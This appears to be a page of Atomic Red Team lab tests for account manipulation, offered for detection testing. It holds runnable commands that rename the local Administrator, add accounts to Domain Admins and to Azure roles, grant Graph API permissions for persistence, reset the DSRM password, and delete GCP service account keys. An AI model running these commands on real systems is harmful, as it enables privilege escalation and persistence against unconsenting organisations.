Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellelevatedwindowsAdmin Account Manipulate
Manipulate Admin Account Name
$x = Get-Random -Minimum 2 -Maximum 9999
$y = Get-Random -Minimum 2 -Maximum 9999
$z = Get-Random -Minimum 2 -Maximum 9999
$w = Get-Random -Minimum 2 -Maximum 9999
Write-Host HaHa_$x$y$z
$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match "User" -and $_.PrincipalSource -match "Local"} | Select Name
foreach($member in $fmm) {
if($member -like "*Administrator*") {
$account = $member.Name.Split("\")[-1] # strip computername\
$originalDescription = (Get-LocalUser -Name $account).Description
Set-LocalUser -Name $account -Description "atr:$account;$originalDescription".Substring(0,48) # Keep original name in description
Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Required due to length limitation
Write-Host "Successfully Renamed $account Account on " $Env:COMPUTERNAME
}
}
powershellwindowsDomain Account and Group Manipulate
Create a random atr-nnnnnnnn account and add it to a domain group (by default, Domain Admins).
The quickest way to run it is against a domain controller, using `-Session` of `Invoke-AtomicTest`. Alternatively,
you need to install PS Module ActiveDirectory (in prereqs) and run the script with appropriare AD privileges to
create the user and alter the group. Automatic installation of the dependency requires an elevated session,
and is unlikely to work with Powershell Core (untested).
If you consider running this test against a production Active Directory, the good practise is to create a dedicated
service account whose delegation is given onto a dedicated OU for user creation and deletion, as well as delegated
as group manager of the target group.
Example: `Invoke-AtomicTest -Session $session 'T1098' -TestNames "Domain Account and Group Manipulate" -InputArgs @{"group" = "DNSAdmins" }`
$x = Get-Random -Minimum 2 -Maximum 99
$y = Get-Random -Minimum 2 -Maximum 99
$z = Get-Random -Minimum 2 -Maximum 99
$w = Get-Random -Minimum 2 -Maximum 99
Import-Module ActiveDirectory
$account = "#{account_prefix}-$x$y$z"
New-ADUser -Name $account -GivenName "Test" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False #{create_args}
Add-ADGroupMember "#{group}" $account
shiaas:awsAWS - Create a group and add a user to that group
Adversaries create AWS group, add users to specific to that group to elevate their privileges to gain more accesss
aws iam create-group --group-name #{username}
aws iam add-user-to-group --user-name #{username} --group-name #{username}
powershellazure-adAzure AD - adding user to Azure AD role
The adversaries want to add user to some Azure AD role. Threat actor
may be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator,
Privileged Authentication Administrator (this role can reset Global Administrator password!).
By default, the role Global Reader is assigned to the user principal in this test.
The account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.
Detection hint - check Activity "Add member to role" in Azure AD Audit Logs. In targer you will also see User as a type.
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential
$user = Get-AzureADUser -Filter "DisplayName eq '#{user_principal_name}' or UserPrincipalName eq '#{user_principal_name}'"
if ($user -eq $null) { Write-Warning "User not found"; exit }
$role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'"
if ($role -eq $null) { Write-Warning "Role not found"; exit }
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId
Write-Host "User $($user.DisplayName) was added to $($role.DisplayName) role"
powershellazure-adAzure AD - adding service principal to Azure AD role
The adversaries want to add service principal to some Azure AD role. Threat actor
may be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator,
Privileged Authentication Administrator (this role can reset Global Administrator password!).
By default, the role Global Reader is assigned to service principal in this test.
The account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.
Detection hint - check Activity "Add member to role" in Azure AD Audit Logs. In targer you will also see Service Principal as a type.
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential
$sp = Get-AzureADServicePrincipal -Filter "DisplayName eq '#{service_principal_name}'"
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'"
if ($role -eq $null) { Write-Warning "Role not found"; exit }
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId
Write-Host "Service Principal $($sp.DisplayName) was added to $($role.DisplayName)"
powershelliaas:azureAzure - adding user to Azure role in subscription
The adversaries want to add user to some Azure role, also called Azure resource role. Threat actor
may be interested primarily in highly privileged roles, e.g. Owner, Contributor.
By default, the role Reader is assigned to user in this test.
New-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.
The account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write
(e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All
and Microsoft Graph Directory.Read.All permissions.
Detection hint - check Operation Name "Create role assignment" in subscriptions Activity Logs.
Import-Module -Name Az.Resources
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzAccount -Credential $Credential
$user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}" -or $_.UserPrincipalName -eq "#{user_principal_name}" }
if ($user -eq $null) { Write-Warning "User not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"}
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }
New-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"
powershelliaas:azureAzure - adding service principal to Azure role in subscription
The adversaries want to add service principal to some Azure role, also called Azure resource role. Threat actor
may be interested primarily in highly privileged roles, e.g. Owner, Contributor.
By default, the role Reader is assigned to service principal in this test.
New-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.
The account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write
(e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All
and Microsoft Graph Directory.Read.All permissions.
Detection hint - check Operation Name "Create role assignment" in subscriptions Activity Logs.
Import-Module -Name Az.Resources
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzAccount -Credential $Credential
$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq "#{service_principal_name}"}
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"}
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }
New-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"
powershellazure-adAzure AD - adding permission to application
The adversaries want to add permission to newly created application. Application could be then used for persistence or for further operation in the attacked infrastructure. Permissions like AppRoleAssignment.ReadWrite.All or RoleManagement.ReadWrite.Directory in particular can be a valuable target for a threat actor.
This technique will create a new app, with the provided name, and give it the provided permission. But if you prefer to add credentials to an existing app, replace in the code: "Get-AzureADApplication" instead of "New-AzureADServicePrincipal".
The DirectoryRecommendations.Read.All permissions has been selected as the default.
The account you use to run the PowerShell command should have Global Administrator/Application Administrator/Cloud Application Administrator role in your Azure AD.
Detection hint - check Operation Name "Add app role assignment to service principal" in subscriptions Activity Logs.
You can also take a look at the materials:
https://learnsentinel.blog/2022/01/04/azuread-privesc-sentinel/
https://github.com/reprise99/Sentinel-Queries
https://docs.google.com/presentation/d/1AWx1w0Xcq8ENvOmSjAJswEgEio-il09QWZlGg9PbHqE/edit#slide=id.g10460eb209c_0_2766
https://gist.github.com/andyrobbins/7c3dd62e6ed8678c97df9565ff3523fb
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential
$aadApplication = New-AzureADApplication -DisplayName "#{application_name}"
$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.AppId
#$aadApplication = Get-AzureADApplication -Filter "DisplayName eq '#{application_name}'"
#Get Service Principal of Microsoft Graph Resource API
$graphSP = Get-AzureADServicePrincipal -Filter "DisplayName eq 'Microsoft Graph'"
#Initialize RequiredResourceAccess for Microsoft Graph Resource API
$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$requiredGraphAccess.ResourceAppId = $graphSP.AppId
$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]
#Set Application Permissions
$ApplicationPermissions = @('#{application_permission}')
$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}
if($reqPermission)
{
$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$resourceAccess.Type = "Role"
$resourceAccess.Id = $reqPermission.Id
#Add required app permission
$requiredGraphAccess.ResourceAccess.Add($resourceAccess)
}
else
{
Write-Host "App permission $permission not found in the Graph Resource API" -ForegroundColor Red
}
#Add required resource accesses
$requiredResourcesAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]
$requiredResourcesAccess.Add($requiredGraphAccess)
#Set permissions in existing Azure AD App
Set-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResourceAccess $requiredResourcesAccess
$servicePrincipal = Get-AzureADServicePrincipal -Filter "AppId eq '$($aadApplication.AppId)'"
New-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId -ResourceId $graphSP.ObjectId -Id $reqPermission.Id
command_promptelevatedwindowsPassword Change on Directory Service Restore Mode (DSRM) Account
Change the password on the Directory Service Restore Mode (DSRM) account using ntdsutil by syncing to existing account
ntdsutil "set dsrm password" "sync from domain account #{sync_account}" "q" "q"
powershellwindowsDomain Password Policy Check: Short Password
Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.
If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the
password policy will likely prevent you from setting the password back to what it was.
$credFile = "#{cred_file}"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
powershellwindowsDomain Password Policy Check: No Number in Password
Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.
If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the
password policy will likely prevent you from setting the password back to what it was.
$credFile = "#{cred_file}"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
powershellwindowsDomain Password Policy Check: No Special Character in Password
Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.
If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the
password policy will likely prevent you from setting the password back to what it was.
$credFile = "#{cred_file}"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
powershellwindowsDomain Password Policy Check: No Uppercase Character in Password
Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.
If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the
password policy will likely prevent you from setting the password back to what it was.
$credFile = "#{cred_file}"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
powershellwindowsDomain Password Policy Check: No Lowercase Character in Password
Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.
If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the
password policy will likely prevent you from setting the password back to what it was.
$credFile = "#{cred_file}"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
powershellwindowsDomain Password Policy Check: Only Two Character Classes
Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.
If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the
password policy will likely prevent you from setting the password back to what it was.
$credFile = "#{cred_file}"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
powershellwindowsDomain Password Policy Check: Common Password Use
Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.
If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the
password policy will likely prevent you from setting the password back to what it was.
$credFile = "#{cred_file}"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "#{new_password}"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString #{new_password} -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to #{new_password}"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "#{new_password}" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
shiaas:gcpGCP - Delete Service Account Key
This Atomic will:
- Create a service account
- Create a service account key,
- Store the result of retrieving a single key for that service account as a variable
- Pass that variable for deletion
- Delete the service account
The idea for this Atomic came from a Rule published by the Elastic team.
Identifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP).
Each service account is associated with two sets of public/private RSA key pairs that are used to authenticate.
If a key is deleted, the application will no longer be able to access Google Cloud resources using that key. A security best practice is to rotate your service account keys regularly.
Reference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml
gcloud config set project #{project_id}
KEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format="value(KEY_ID)" --limit=1`
gcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet